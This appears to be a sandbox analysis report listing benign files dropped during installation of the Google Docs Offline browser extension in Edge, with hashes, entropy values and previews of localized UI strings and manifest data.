SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
